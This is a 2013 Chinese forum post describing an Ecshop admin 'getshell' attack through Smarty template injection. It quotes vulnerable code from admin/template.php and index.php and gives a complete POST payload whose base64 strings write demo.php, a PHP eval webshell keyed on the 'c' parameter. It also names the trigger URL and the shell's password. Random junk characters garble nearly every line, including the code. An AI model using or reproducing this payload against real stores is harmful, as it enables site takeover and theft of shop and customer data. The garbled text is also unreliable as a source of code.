找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2303|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
& S, q* e3 \; G. U+ m' o8 r) ?. ^$ b
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了5 f1 N) \' {7 w% H$ W, M$ C# ]( {0 }" \+ E
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
% {3 x9 X+ G) s& N+ ?) L0 uadmin/template.php
# e* M+ r  x, J) y% }" ?
4 F7 g# ]9 e# P5 E# n# Y( n1 if ($_REQUEST['act'] == 'update_library')
2 w: Y+ E! I8 f2 B! k- r% C( X; V- m! M7 o( h% k7 o
2   / |, f/ K: l/ U! u$ M
( ?' m0 i: V# Q7 j
3 {
: ?/ j5 n1 P5 u0 P
5 n5 ]  n8 V2 J, S/ p4     check_authz_json('library_manage'); & E: P4 O- u4 W8 d+ Z( w8 S" M0 R& O* g

& p5 g/ f3 S) \# z9 Q6 Y: a/ b5   . m  ^( }  ]! G

+ o- A! W) \1 ]6 w% H6     $html = stripslashes(json_str_iconv($_POST['html']));
: |- W& }& K0 v% G4 P
( E4 V# _+ ^4 x* V  D7   
  ?5 S. R5 f, K" r5 k) j; k4 G9 _. r' H; B. G4 }% M
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 % B% D7 o: u( O) a
: a; |& R8 A  H9 n/ C& ]
9   
$ W! O: B' z% L+ l3 A
. Q. {2 m8 s7 C" t10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 - q+ r) ]5 K) S7 K# b! f0 W( C

# e/ ^! o! G: D+ [6 I0 B11   , ^  ^4 S) a7 I3 l4 }  E- a% [
* A8 t3 I+ V. c4 M! r( w
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 e  Q" t% ?/ ~" S2 p$ s) R2 o7 ]7 c* f
13   
0 R& d# ~' j% h' d1 f9 o# S4 K' b, F4 D
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ ~" |1 Z9 [. n/ @# p( ^' r! `9 ?2 e* t8 I
15     { ) {( C8 g: i5 c; ~
7 }0 y3 u0 F) |# |. a
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ; o: P* ?# b$ y5 ?
; m# e7 L4 D- X$ h) |# E
17         make_json_result('', $_LANG['update_lib_success']); 1 k5 j8 h4 }% m+ \- A! W9 [0 ^

& K8 m0 T- x' E' |  c8 z7 ]. F18     }
) X8 E" d$ Y) H# _8 U+ e* A
4 N7 G0 Q/ R" u; o19     else . e9 T9 w: ~" Z5 |+ e! H
1 \& X% n- {' c1 K; x0 w7 \& L
20     { 0 i: S8 P8 {1 G4 h6 M

7 K' n" x6 t. Q* i: X$ H21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 8 N  s$ r5 K) ?1 O7 T
" Q( q$ C4 j& J3 O6 o& H
22     }
% D/ g2 Q- G( F0 X. t- {) k4 |
1 M3 {" G* S3 D' n1 S7 ]23 } ' K' ^% E7 z8 R- @
7 x; J8 a0 R8 U9 }: y& a% M
那么找个比较方便调用了模板的文件
: P- w5 R6 O7 Mindex.php
' r# @: ^0 i6 b$ ~- w; b$ H: c5 Q, D% E: B  H& x
1 if ($act == 'cat_rec')
5 z" ^; ]8 @6 J6 m8 f
  l: J9 o3 Z# T6 I6 K2   3 B2 u* z1 V1 e! Y" ~! _. W

9 O1 K& X5 [6 B, {2 T" g) k) f3 {
$ i# F8 {, |% J8 _
5 i4 B; ^, u5 g& `3 V  K& e4   ! l+ H6 H) N( M) v

5 s+ x, ^; M9 T5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 9 L( x/ b5 }2 {  w6 s# `2 u

& j' X8 m: A7 Q; u' a+ |6   
  H' @& B$ x3 ?- m5 g
0 ^7 T9 w  m$ T' V7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 3 |, c6 G+ J7 a1 \5 P
( z, ^9 }; K0 r7 Q' w
8   
! w# ]$ Q5 c  S
6 S5 ~8 Q8 s  c- a8 B8 t9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; % s" n6 z- q* t& Z; D) l6 e
. p  B8 H$ G9 o& m7 Q8 Z( M
10   & ?, B8 o- j+ A% k

% ]2 J" j! K- t& [, w' ~: {2 ~11     include_once('includes/cls_json.php');
  Q+ p% ]: u" j/ l, I( t9 {0 N
) t& D3 E- }2 k& j8 l12   
: \' `' U9 r9 v" ?* I+ x+ c* a4 G& U: R& w. l, U; }1 ~" i# P- X
13     $json = new JSON; / g. F; x: }- Y2 X% |
, R3 f8 ^- u9 c  u
14   $ Y* w* Z/ W% Y0 ^. n' O& T0 l! P7 Q, F

: p. `/ n" H0 I( c3 I" k6 a, J15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); . ], Z. Y! \8 m2 y, L8 n
5 C& c0 w% a2 w
16   8 \9 K# K/ o8 S/ {! m

- m8 i; c7 @# g: k( O17     $children = get_children($cat_id);
1 k3 q# H7 B! z+ m. e6 h( [' l% R
18   + A+ c3 Q. o3 u; W

. v* B; t. P6 f6 R) s: f19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
; K- i8 I7 C3 \' R
# V' O8 K8 M1 D+ K9 O8 C! ^20   
' I# M5 a0 w7 b. z1 P* b, `9 ]! g5 r7 w9 x: N9 I! O
21     $smarty->assign('cat_rec_sign', 1);
6 n8 }9 T. n+ k% m. Q. {) h0 }. x
2 J1 U8 v" K! C: X22   
1 q6 X0 J( O% L7 m  f; f) f/ |5 L+ g; G/ O+ J- N* ^4 W0 Q! e
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best . y$ Q9 U  I' k% d4 i4 @
$ `3 k: Y8 b- |: Z" Z) u! J$ E
24   
( o' N% _+ z3 a- Y  Z" B! ]0 O0 ?: X" A  K. O
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; * ^6 k# u  g3 @8 T

% L7 I( N2 Y6 q26   - W0 m% r9 W" x; V% k! m
4 _/ U! I3 ?$ w8 ]
27         echo $rec_array[$rec_type]; 2 C9 J. ~) `; @: q  f# W' Z
# D# X1 L0 U2 f* ^$ ]
28   ; |$ O- U. g" ^' J$ z5 y

0 v9 M# `! H( p: [8 S/ n: Y29     die($json->encode($result)); 8 u! m) m- Y! q( [: n3 d

3 J4 z1 h+ h& @# H/ j' T. k30   - k1 b/ f0 s4 F) |$ V3 s3 X; \8 U
1 C5 v. O4 H* {
31 } ) [9 y4 `6 c3 ?7 S: Y

0 A  W$ Z- V' t/ B/ B那么就有利用方法了
2 m( {. M4 a( Q+ jpost包到http://localhost/ec/admin/template.php?act=update_library2 T6 c- ?  ]( w- E
Post内容:
3 o; p" Z7 H4 K+ W+ Q
, k5 J4 L2 p, J; d; i
5 x/ @, y3 R2 I7 Y6 K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} : d& w4 r. F% m) K9 |
) D& K# d0 v- q; }
然后访问http://localhost/ec/index.php?act=cat_rec
8 Q# ^& [$ x# h2 E, _) {0 w
3 _5 r& t" h; e2 p/ }7 ~( Nshel地址:http://localhost/ec/demo.php
/ h# J$ f! F* H, O0 U密码c6 l& l1 I! \1 B2 b' }/ R3 F) m
7 t7 b/ ~- h% P. B$ s# Y5 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表